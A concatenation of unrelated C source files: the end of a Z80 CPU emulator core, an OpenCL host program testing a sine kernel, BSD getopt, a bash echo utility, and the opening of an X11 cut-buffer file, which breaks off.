OP(op,4f) { C = A; } /* LD C,A */
OP(op,50) { D = B; } /* LD D,B */
OP(op,51) { D = C; } /* LD D,C */
OP(op,52) { } /* LD D,D */
OP(op,53) { D = E; } /* LD D,E */
OP(op,54) { D = H; } /* LD D,H */
OP(op,55) { D = L; } /* LD D,L */
OP(op,56) { D = RM(HL); } /* LD D,(HL) */
OP(op,57) { D = A; } /* LD D,A */
OP(op,58) { E = B; } /* LD E,B */
OP(op,59) { E = C; } /* LD E,C */
OP(op,5a) { E = D; } /* LD E,D */
OP(op,5b) { } /* LD E,E */
OP(op,5c) { E = H; } /* LD E,H */
OP(op,5d) { E = L; } /* LD E,L */
OP(op,5e) { E = RM(HL); } /* LD E,(HL) */
OP(op,5f) { E = A; } /* LD E,A */
OP(op,60) { H = B; } /* LD H,B */
OP(op,61) { H = C; } /* LD H,C */
OP(op,62) { H = D; } /* LD H,D */
OP(op,63) { H = E; } /* LD H,E */
OP(op,64) { } /* LD H,H */
OP(op,65) { H = L; } /* LD H,L */
OP(op,66) { H = RM(HL); } /* LD H,(HL) */
OP(op,67) { H = A; } /* LD H,A */
OP(op,68) { L = B; } /* LD L,B */
OP(op,69) { L = C; } /* LD L,C */
OP(op,6a) { L = D; } /* LD L,D */
OP(op,6b) { L = E; } /* LD L,E */
OP(op,6c) { L = H; } /* LD L,H */
OP(op,6d) { } /* LD L,L */
OP(op,6e) { L = RM(HL); } /* LD L,(HL) */
OP(op,6f) { L = A; } /* LD L,A */
OP(op,70) { WM( HL, B ); } /* LD (HL),B */
OP(op,71) { WM( HL, C ); } /* LD (HL),C */
OP(op,72) { WM( HL, D ); } /* LD (HL),D */
OP(op,73) { WM( HL, E ); } /* LD (HL),E */
OP(op,74) { WM( HL, H ); } /* LD (HL),H */
OP(op,75) { WM( HL, L ); } /* LD (HL),L */
OP(op,76) { ENTER_HALT; } /* HALT */
OP(op,77) { WM( HL, A ); } /* LD (HL),A */
OP(op,78) { A = B; } /* LD A,B */
OP(op,79) { A = C; } /* LD A,C */
OP(op,7a) { A = D; } /* LD A,D */
OP(op,7b) { A = E; } /* LD A,E */
OP(op,7c) { A = H; } /* LD A,H */
OP(op,7d) { A = L; } /* LD A,L */
OP(op,7e) { A = RM(HL); } /* LD A,(HL) */
OP(op,7f) { } /* LD A,A */
OP(op,80) { ADD(B); } /* ADD A,B */
OP(op,81) { ADD(C); } /* ADD A,C */
OP(op,82) { ADD(D); } /* ADD A,D */
OP(op,83) { ADD(E); } /* ADD A,E */
OP(op,84) { ADD(H); } /* ADD A,H */
OP(op,85) { ADD(L); } /* ADD A,L */
OP(op,86) { ADD(RM(HL)); } /* ADD A,(HL) */
OP(op,87) { ADD(A); } /* ADD A,A */
OP(op,88) { ADC(B); } /* ADC A,B */
OP(op,89) { ADC(C); } /* ADC A,C */
OP(op,8a) { ADC(D); } /* ADC A,D */
OP(op,8b) { ADC(E); } /* ADC A,E */
OP(op,8c) { ADC(H); } /* ADC A,H */
OP(op,8d) { ADC(L); } /* ADC A,L */
OP(op,8e) { ADC(RM(HL)); } /* ADC A,(HL) */
OP(op,8f) { ADC(A); } /* ADC A,A */
OP(op,90) { SUB(B); } /* SUB B */
OP(op,91) { SUB(C); } /* SUB C */
OP(op,92) { SUB(D); } /* SUB D */
OP(op,93) { SUB(E); } /* SUB E */
OP(op,94) { SUB(H); } /* SUB H */
OP(op,95) { SUB(L); } /* SUB L */
OP(op,96) { SUB(RM(HL)); } /* SUB (HL) */
OP(op,97) { SUB(A); } /* SUB A */
OP(op,98) { SBC(B); } /* SBC A,B */
OP(op,99) { SBC(C); } /* SBC A,C */
OP(op,9a) { SBC(D); } /* SBC A,D */
OP(op,9b) { SBC(E); } /* SBC A,E */
OP(op,9c) { SBC(H); } /* SBC A,H */
OP(op,9d) { SBC(L); } /* SBC A,L */
OP(op,9e) { SBC(RM(HL)); } /* SBC A,(HL) */
OP(op,9f) { SBC(A); } /* SBC A,A */
OP(op,a0) { AND(B); } /* AND B */
OP(op,a1) { AND(C); } /* AND C */
OP(op,a2) { AND(D); } /* AND D */
OP(op,a3) { AND(E); } /* AND E */
OP(op,a4) { AND(H); } /* AND H */
OP(op,a5) { AND(L); } /* AND L */
OP(op,a6) { AND(RM(HL)); } /* AND (HL) */
OP(op,a7) { AND(A); } /* AND A */
OP(op,a8) { XOR(B); } /* XOR B */
OP(op,a9) { XOR(C); } /* XOR C */
OP(op,aa) { XOR(D); } /* XOR D */
OP(op,ab) { XOR(E); } /* XOR E */
OP(op,ac) { XOR(H); } /* XOR H */
OP(op,ad) { XOR(L); } /* XOR L */
OP(op,ae) { XOR(RM(HL)); } /* XOR (HL) */
OP(op,af) { XOR(A); } /* XOR A */
OP(op,b0) { OR(B); } /* OR B */
OP(op,b1) { OR(C); } /* OR C */
OP(op,b2) { OR(D); } /* OR D */
OP(op,b3) { OR(E); } /* OR E */
OP(op,b4) { OR(H); } /* OR H */
OP(op,b5) { OR(L); } /* OR L */
OP(op,b6) { OR(RM(HL)); } /* OR (HL) */
OP(op,b7) { OR(A); } /* OR A */
OP(op,b8) { CP(B); } /* CP B */
OP(op,b9) { CP(C); } /* CP C */
OP(op,ba) { CP(D); } /* CP D */
OP(op,bb) { CP(E); } /* CP E */
OP(op,bc) { CP(H); } /* CP H */
OP(op,bd) { CP(L); } /* CP L */
OP(op,be) { CP(RM(HL)); } /* CP (HL) */
OP(op,bf) { CP(A); } /* CP A */
OP(op,c0) { RET_COND( !(F & ZF), 0xc0 ); } /* RET NZ */
OP(op,c1) { POP( bc ); } /* POP BC */
OP(op,c2) { JP_COND( !(F & ZF) ); } /* JP NZ,a */
OP(op,c3) { JP; } /* JP a */
OP(op,c4) { CALL_COND( !(F & ZF), 0xc4 ); } /* CALL NZ,a */
OP(op,c5) { PUSH( bc ); } /* PUSH BC */
OP(op,c6) { ADD(ARG()); } /* ADD A,n */
OP(op,c7) { RST(0x00); } /* RST 0 */
OP(op,c8) { RET_COND( F & ZF, 0xc8 ); } /* RET Z */
OP(op,c9) { POP( pc ); WZ=PCD; } /* RET */
OP(op,ca) { JP_COND( F & ZF ); } /* JP Z,a */
OP(op,cb) { R++; EXEC(cb,ROP()); } /* **** CB xx */
OP(op,cc) { CALL_COND( F & ZF, 0xcc ); } /* CALL Z,a */
OP(op,cd) { CALL(); } /* CALL a */
OP(op,ce) { ADC(ARG()); } /* ADC A,n */
OP(op,cf) { RST(0x08); } /* RST 1 */
OP(op,d0) { RET_COND( !(F & CF), 0xd0 ); } /* RET NC */
OP(op,d1) { POP( de ); } /* POP DE */
OP(op,d2) { JP_COND( !(F & CF) ); } /* JP NC,a */
OP(op,d3) { unsigned n = ARG() | (A << 8); OUT( n, A ); WZ_L = ((n & 0xff) + 1) & 0xff; WZ_H = A; } /* OUT (n),A */
OP(op,d4) { CALL_COND( !(F & CF), 0xd4 ); } /* CALL NC,a */
OP(op,d5) { PUSH( de ); } /* PUSH DE */
OP(op,d6) { SUB(ARG()); } /* SUB n */
OP(op,d7) { RST(0x10); } /* RST 2 */
OP(op,d8) { RET_COND( F & CF, 0xd8 ); } /* RET C */
OP(op,d9) { EXX; } /* EXX */
OP(op,da) { JP_COND( F & CF ); } /* JP C,a */
OP(op,db) { unsigned n = ARG() | (A << 8); A = IN( n ); WZ = n + 1; } /* IN A,(n) */
OP(op,dc) { CALL_COND( F & CF, 0xdc ); } /* CALL C,a */
OP(op,dd) { R++; EXEC(dd,ROP()); } /* **** DD xx */
OP(op,de) { SBC(ARG()); } /* SBC A,n */
OP(op,df) { RST(0x18); } /* RST 3 */
OP(op,e0) { RET_COND( !(F & PF), 0xe0 ); } /* RET PO */
OP(op,e1) { POP( hl ); } /* POP HL */
OP(op,e2) { JP_COND( !(F & PF) ); } /* JP PO,a */
OP(op,e3) { EXSP( hl ); } /* EX HL,(SP) */
OP(op,e4) { CALL_COND( !(F & PF), 0xe4 ); } /* CALL PO,a */
OP(op,e5) { PUSH( hl ); } /* PUSH HL */
OP(op,e6) { AND(ARG()); } /* AND n */
OP(op,e7) { RST(0x20); } /* RST 4 */
OP(op,e8) { RET_COND( F & PF, 0xe8 ); } /* RET PE */
OP(op,e9) { PC = HL; } /* JP (HL) */
OP(op,ea) { JP_COND( F & PF ); } /* JP PE,a */
OP(op,eb) { EX_DE_HL; } /* EX DE,HL */
OP(op,ec) { CALL_COND( F & PF, 0xec ); } /* CALL PE,a */
OP(op,ed) { R++; EXEC(ed,ROP()); } /* **** ED xx */
OP(op,ee) { XOR(ARG()); } /* XOR n */
OP(op,ef) { RST(0x28); } /* RST 5 */
OP(op,f0) { RET_COND( !(F & SF), 0xf0 ); } /* RET P */
OP(op,f1) { POP( af ); } /* POP AF */
OP(op,f2) { JP_COND( !(F & SF) ); } /* JP P,a */
OP(op,f3) { IFF1 = IFF2 = 0; } /* DI */
OP(op,f4) { CALL_COND( !(F & SF), 0xf4 ); } /* CALL P,a */
OP(op,f5) { PUSH( af ); } /* PUSH AF */
OP(op,f6) { OR(ARG()); } /* OR n */
OP(op,f7) { RST(0x30); } /* RST 6 */
OP(op,f8) { RET_COND( F & SF, 0xf8 ); } /* RET M */
OP(op,f9) { SP = HL; } /* LD SP,HL */
OP(op,fa) { JP_COND(F & SF); } /* JP M,a */
OP(op,fb) { EI; } /* EI */
OP(op,fc) { CALL_COND( F & SF, 0xfc ); } /* CALL M,a */
OP(op,fd) { R++; EXEC(fd,ROP()); } /* **** FD xx */
OP(op,fe) { CP(ARG()); } /* CP n */
OP(op,ff) { RST(0x38); } /* RST 7 */
static void take_interrupt(void)
{
/* Check if processor was halted */
LEAVE_HALT;
/* Clear both interrupt flip flops */
IFF1 = IFF2 = 0;
LOG(("Z80 #%d single int. irq_vector $%02x\n", cpu_getactivecpu(), irq_vector));
/* Interrupt mode 1. RST 38h */
if( IM == 1 )
{
LOG(("Z80 #%d IM1 $0038\n",cpu_getactivecpu() ));
PUSH( pc );
PCD = 0x0038;
/* RST $38 + 'interrupt latency' cycles */
USE_CYCLES(cc[Z80_TABLE_op][0xff] + cc[Z80_TABLE_ex][0xff]);
}
else
{
/* call back the cpu interface to retrieve the vector */
int irq_vector = (*Z80.irq_callback)(0);
/* Interrupt mode 2. Call [Z80.i:databyte] */
if( IM == 2 )
{
irq_vector = (irq_vector & 0xff) | (I << 8);
PUSH( pc );
RM16( irq_vector, &Z80.pc );
LOG(("Z80 #%d IM2 [$%04x] = $%04x\n",cpu_getactivecpu() , irq_vector, PCD));
/* CALL $xxxx + 'interrupt latency' cycles */
USE_CYCLES(cc[Z80_TABLE_op][0xcd] + cc[Z80_TABLE_ex][0xff]);
}
else
{
/* Interrupt mode 0. We check for CALL and JP instructions, */
/* if neither of these were found we assume a 1 byte opcode */
/* was placed on the databus */
LOG(("Z80 #%d IM0 $%04x\n",cpu_getactivecpu() , irq_vector));
switch (irq_vector & 0xff0000)
{
case 0xcd0000: /* call */
PUSH( pc );
PCD = irq_vector & 0xffff;
/* CALL $xxxx + 'interrupt latency' cycles */
USE_CYCLES(cc[Z80_TABLE_op][0xcd] + cc[Z80_TABLE_ex][0xff]);
break;
case 0xc30000: /* jump */
PCD = irq_vector & 0xffff;
/* JP $xxxx + 2 cycles */
USE_CYCLES(cc[Z80_TABLE_op][0xc3] + cc[Z80_TABLE_ex][0xff]);
break;
default: /* rst (or other opcodes?) */
PUSH( pc );
PCD = irq_vector & 0x0038;
/* RST $xx + 2 cycles */
USE_CYCLES(cc[Z80_TABLE_op][0xff] + cc[Z80_TABLE_ex][0xff]);
break;
}
}
}
WZ=PCD;
}
/****************************************************************************
* Processor initialization
****************************************************************************/
void gx_z80_init(const void *config, int (*irqcallback)(int))
{
int i, p;
int oldval, newval, val;
UINT8 *padd = &SZHVC_add[ 0*256];
UINT8 *padc = &SZHVC_add[256*256];
UINT8 *psub = &SZHVC_sub[ 0*256];
UINT8 *psbc = &SZHVC_sub[256*256];
for (oldval = 0; oldval < 256; oldval++)
{
for (newval = 0; newval < 256; newval++)
{
/* add or adc w/o carry set */
val = newval - oldval;
*padd = (newval) ? ((newval & 0x80) ? SF : 0) : ZF;
*padd |= (newval & (YF | XF)); /* undocumented flag bits 5+3 */
if( (newval & 0x0f) < (oldval & 0x0f) ) *padd |= HF;
if( newval < oldval ) *padd |= CF;
if( (val^oldval^0x80) & (val^newval) & 0x80 ) *padd |= VF;
padd++;
/* adc with carry set */
val = newval - oldval - 1;
*padc = (newval) ? ((newval & 0x80) ? SF : 0) : ZF;
*padc |= (newval & (YF | XF)); /* undocumented flag bits 5+3 */
if( (newval & 0x0f) <= (oldval & 0x0f) ) *padc |= HF;
if( newval <= oldval ) *padc |= CF;
if( (val^oldval^0x80) & (val^newval) & 0x80 ) *padc |= VF;
padc++;
/* cp, sub or sbc w/o carry set */
val = oldval - newval;
*psub = NF | ((newval) ? ((newval & 0x80) ? SF : 0) : ZF);
*psub |= (newval & (YF | XF)); /* undocumented flag bits 5+3 */
if( (newval & 0x0f) > (oldval & 0x0f) ) *psub |= HF;
if( newval > oldval ) *psub |= CF;
if( (val^oldval) & (oldval^newval) & 0x80 ) *psub |= VF;
psub++;
/* sbc with carry set */
val = oldval - newval - 1;
*psbc = NF | ((newval) ? ((newval & 0x80) ? SF : 0) : ZF);
*psbc |= (newval & (YF | XF)); /* undocumented flag bits 5+3 */
if( (newval & 0x0f) >= (oldval & 0x0f) ) *psbc |= HF;
if( newval >= oldval ) *psbc |= CF;
if( (val^oldval) & (oldval^newval) & 0x80 ) *psbc |= VF;
psbc++;
}
}
for (i = 0; i < 256; i++)
{
p = 0;
if( i&0x01 ) ++p;
if( i&0x02 ) ++p;
if( i&0x04 ) ++p;
if( i&0x08 ) ++p;
if( i&0x10 ) ++p;
if( i&0x20 ) ++p;
if( i&0x40 ) ++p;
if( i&0x80 ) ++p;
SZ[i] = i ? i & SF : ZF;
SZ[i] |= (i & (YF | XF)); /* undocumented flag bits 5+3 */
SZ_BIT[i] = i ? i & SF : ZF | PF;
SZ_BIT[i] |= (i & (YF | XF)); /* undocumented flag bits 5+3 */
SZP[i] = SZ[i] | ((p & 1) ? 0 : PF);
SZHV_inc[i] = SZ[i];
if( i == 0x80 ) SZHV_inc[i] |= VF;
if( (i & 0x0f) == 0x00 ) SZHV_inc[i] |= HF;
SZHV_dec[i] = SZ[i] | NF;
if( i == 0x7f ) SZHV_dec[i] |= VF;
if( (i & 0x0f) == 0x0f ) SZHV_dec[i] |= HF;
}
/* Initialize Z80 */
memset(&Z80, 0, sizeof(Z80));
Z80.daisy = config;
Z80.irq_callback = irqcallback;
#ifdef Z80_OVERCLOCK_SHIFT
z80_cycle_ratio = 1 << Z80_OVERCLOCK_SHIFT;
#endif
/* Clear registers values (NB: should be random on real hardware ?) */
AF = BC = DE = HL = SP = IX = IY =0;
F = ZF; /* Zero flag is set */
/* setup cycle tables */
cc[Z80_TABLE_op] = cc_op;
cc[Z80_TABLE_cb] = cc_cb;
cc[Z80_TABLE_ed] = cc_ed;
cc[Z80_TABLE_xy] = cc_xy;
cc[Z80_TABLE_xycb] = cc_xycb;
cc[Z80_TABLE_ex] = cc_ex;
}
/****************************************************************************
* Do a reset
****************************************************************************/
void gx_z80_reset(void)
{
PC = 0x0000;
I = 0;
R = 0;
R2 = 0;
IM = 0;
IFF1 = IFF2 = 0;
HALT = 0;
Z80.after_ei = FALSE;
WZ=PCD;
}
/****************************************************************************
* Run until given cycle count
****************************************************************************/
void gx_z80_run(unsigned int cycles)
{
//hack, all of the timings have been adjusted to run at mclk. but we aren't so pleasantly unified in our timing, so convert to mclk on entry.
cycles *= 15;
while( Z80.cycles < cycles )
{
/* check for IRQs before each instruction */
if (Z80.irq_state && IFF1 && !Z80.after_ei)
{
take_interrupt();
if (Z80.cycles >= cycles) return;
}
Z80.after_ei = FALSE;
R++;
EXEC_INLINE(op,ROP());
}
assert((Z80.cycles % 15) == 0);
Z80.cycles /= 15;
}
/****************************************************************************
* Get all registers in given buffer
****************************************************************************/
void gx_z80_get_context (void *dst)
{
if( dst )
*(Z80_Regs*)dst = Z80;
}
/****************************************************************************
* Set all registers to given values
****************************************************************************/
void gx_z80_set_context (void *src)
{
if( src )
Z80 = *(Z80_Regs*)src;
}
/****************************************************************************
* Set IRQ lines
****************************************************************************/
void gx_z80_set_irq_line(unsigned int state)
{
Z80.irq_state = state;
}
void gx_z80_set_nmi_line(unsigned int state)
{
/* mark an NMI pending on the rising edge */
if (Z80.nmi_state == CLEAR_LINE && state != CLEAR_LINE)
{
LOG(("Z80 #%d take NMI\n", cpu_getactivecpu()));
LEAVE_HALT; /* Check if processor was halted */
IFF1 = 0;
PUSH( pc );
PCD = 0x0066;
WZ=PCD;
USE_CYCLES(11*15);
}
Z80.nmi_state = state;
}
#endif //WITH_GXZ80
|
the_stack_data/145454127.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <CL/cl.h>
unsigned char *read_buffer(char *file_name, size_t *size_ptr)
{
FILE *f;
unsigned char *buf;
size_t size;
/* Open file */
f = fopen(file_name, "rb");
if (!f)
return NULL;
/* Obtain file size */
fseek(f, 0, SEEK_END);
size = ftell(f);
fseek(f, 0, SEEK_SET);
/* Allocate and read buffer */
buf = malloc(size + 1);
fread(buf, 1, size, f);
buf[size] = '\0';
/* Return size of buffer */
if (size_ptr)
*size_ptr = size;
/* Return buffer */
return buf;
}
void write_buffer(char *file_name, const char *buffer, size_t buffer_size)
{
FILE *f;
/* Open file */
f = fopen(file_name, "w+");
/* Write buffer */
if(buffer)
fwrite(buffer, 1, buffer_size, f);
/* Close file */
fclose(f);
}
int main(int argc, char const *argv[])
{
/* Get platform */
cl_platform_id platform;
cl_uint num_platforms;
cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformIDs' failed\n");
exit(1);
}
printf("Number of platforms: %d\n", num_platforms);
printf("platform=%p\n", platform);
/* Get platform name */
char platform_name[100];
ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformInfo' failed\n");
exit(1);
}
printf("platform.name='%s'\n\n", platform_name);
/* Get device */
cl_device_id device;
cl_uint num_devices;
ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceIDs' failed\n");
exit(1);
}
printf("Number of devices: %d\n", num_devices);
printf("device=%p\n", device);
/* Get device name */
char device_name[100];
ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name),
device_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceInfo' failed\n");
exit(1);
}
printf("device.name='%s'\n", device_name);
printf("\n");
/* Create a Context Object */
cl_context context;
context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateContext' failed\n");
exit(1);
}
printf("context=%p\n", context);
/* Create a Command Queue Object*/
cl_command_queue command_queue;
command_queue = clCreateCommandQueue(context, device, 0, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateCommandQueue' failed\n");
exit(1);
}
printf("command_queue=%p\n", command_queue);
printf("\n");
/* Program source */
unsigned char *source_code;
size_t source_length;
/* Read program from 'native_sin_float4.cl' */
source_code = read_buffer("native_sin_float4.cl", &source_length);
/* Create a program */
cl_program program;
program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateProgramWithSource' failed\n");
exit(1);
}
printf("program=%p\n", program);
/* Build program */
ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL);
if (ret != CL_SUCCESS )
{
size_t size;
char *log;
/* Get log size */
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size);
/* Allocate log and print */
log = malloc(size);
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL);
printf("error: call to 'clBuildProgram' failed:\n%s\n", log);
/* Free log and exit */
free(log);
exit(1);
}
printf("program built\n");
printf("\n");
/* Create a Kernel Object */
cl_kernel kernel;
kernel = clCreateKernel(program, "native_sin_float4", &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateKernel' failed\n");
exit(1);
}
/* Create and allocate host buffers */
size_t num_elem = 10;
/* Create and init host side src buffer 0 */
cl_float4 *src_0_host_buffer;
src_0_host_buffer = malloc(num_elem * sizeof(cl_float4));
for (int i = 0; i < num_elem; i++)
src_0_host_buffer[i] = (cl_float4){{2.0, 2.0, 2.0, 2.0}};
/* Create and init device side src buffer 0 */
cl_mem src_0_device_buffer;
src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_float4), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_float4), src_0_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create host dst buffer */
cl_float4 *dst_host_buffer;
dst_host_buffer = malloc(num_elem * sizeof(cl_float4));
memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_float4));
/* Create device dst buffer */
cl_mem dst_device_buffer;
dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_float4), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create dst buffer\n");
exit(1);
}
/* Set kernel arguments */
ret = CL_SUCCESS;
ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer);
ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clSetKernelArg' failed\n");
exit(1);
}
/* Launch the kernel */
size_t global_work_size = num_elem;
size_t local_work_size = num_elem;
ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueNDRangeKernel' failed\n");
exit(1);
}
/* Wait for it to finish */
clFinish(command_queue);
/* Read results from GPU */
ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_float4), dst_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueReadBuffer' failed\n");
exit(1);
}
/* Dump dst buffer to file */
char dump_file[100];
sprintf((char *)&dump_file, "%s.result", argv[0]);
write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_float4));
printf("Result dumped to %s\n", dump_file);
/* Free host dst buffer */
free(dst_host_buffer);
/* Free device dst buffer */
ret = clReleaseMemObject(dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 0 */
free(src_0_host_buffer);
/* Free device side src buffer 0 */
ret = clReleaseMemObject(src_0_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Release kernel */
ret = clReleaseKernel(kernel);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseKernel' failed\n");
exit(1);
}
/* Release program */
ret = clReleaseProgram(program);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseProgram' failed\n");
exit(1);
}
/* Release command queue */
ret = clReleaseCommandQueue(command_queue);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseCommandQueue' failed\n");
exit(1);
}
/* Release context */
ret = clReleaseContext(context);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseContext' failed\n");
exit(1);
}
return 0;
}
|
the_stack_data/165765992.c
|
/*
* Copyright (c) 1987, 1993, 1994
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#if defined(LIBC_SCCS) && !defined(lint)
static char sccsid[] = "@(#)getopt.c 8.3 (Berkeley) 4/27/95";
#endif /* LIBC_SCCS and not lint */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "getopt.h"
int opterr = 1, /* if error message should be printed */
optind = 1, /* index into parent argv vector */
optopt, /* character checked for validity */
optreset; /* reset getopt */
char *optarg; /* argument associated with option */
#define BADCH (int)'?'
#define BADARG (int)':'
#define EMSG ""
/*
* getopt --
* Parse argc/argv argument vector.
*/
int
getopt(nargc, nargv, ostr)
int nargc;
char * const *nargv;
const char *ostr;
{
char *cp;
static char *__progname;
static char *place = EMSG; /* option letter processing */
char *oli; /* option letter list index */
if (__progname == NULL) {
if ((cp = strrchr(nargv[0], '/')) != NULL)
__progname = cp + 1;
else
__progname = nargv[0];
}
if (optreset || !*place) { /* update scanning pointer */
optreset = 0;
if (optind >= nargc || *(place = nargv[optind]) != '-') {
place = EMSG;
return (-1);
}
if (place[1] && *++place == '-') { /* found "--" */
++optind;
place = EMSG;
return (-1);
}
} /* option letter okay? */
if ((optopt = (int)*place++) == (int)':' ||
!(oli = strchr(ostr, optopt))) {
/*
* if the user didn't specify '-' as an option,
* assume it means -1.
*/
if (optopt == (int)'-')
return (-1);
if (!*place)
++optind;
if (opterr && *ostr != ':')
(void)fprintf(stderr,
"%s: illegal option -- %c\n", __progname, optopt);
return (BADCH);
}
if (*++oli != ':') { /* don't need argument */
optarg = NULL;
if (!*place)
++optind;
}
else { /* need an argument */
if (*place) /* no white space */
optarg = place;
else if (nargc <= ++optind) { /* no arg */
place = EMSG;
if (*ostr == ':')
return (BADARG);
if (opterr)
(void)fprintf(stderr,
"%s: option requires an argument -- %c\n",
__progname, optopt);
return (BADCH);
}
else /* white space */
optarg = nargv[optind];
place = EMSG;
++optind;
}
return (optopt); /* dump back option letter */
}
|
the_stack_data/118600.c
|
/* zecho - bare-bones echo */
/* Copyright (C) 1996-2002 Free Software Foundation, Inc.
This file is part of GNU Bash, the Bourne Again SHell.
Bash is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; either version 2, or (at your option) any later
version.
Bash is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
for more details.
You should have received a copy of the GNU General Public License along
with Bash; see the file COPYING. If not, write to the Free Software
Foundation, 59 Temple Place, Suite 330, Boston, MA 02111 USA. */
#include <stdio.h>
#include <stdlib.h>
int
main(argc, argv)
int argc;
char **argv;
{
argv++;
while (*argv) {
(void)printf("%s", *argv);
if (*++argv)
putchar(' ');
}
putchar('\n');
exit(0);
}
|
the_stack_data/154829927.c
|
/*
Copyright 1986, 1998 The Open Group
Permission to use, copy, modify, distribute, and sell this software and its
documentation for any purpose is hereby granted without fee, provided that
the above copyright notice appear in all copies and that both that
copyright notice and this permission notice appear in supporting
documentation.
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Except as contained in this notice, the name of The Open Group shall not be
used in advertising or otherwise to promote the sale, use or other dealings
in this Software without prior written authorization from The Open Group.
*/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <X11/Xlibint.h>
#include <X11/Xatom.h>
/* insulate predefined atom numbers from cut routines */
static const Atom n_to_atom[8] = {
XA_CUT_BUFFER0,
XA_CUT_BUFFER1,
XA_CUT_BUFFER2,
XA_CUT_BUFFER3,
XA_CUT_BUFFER4,
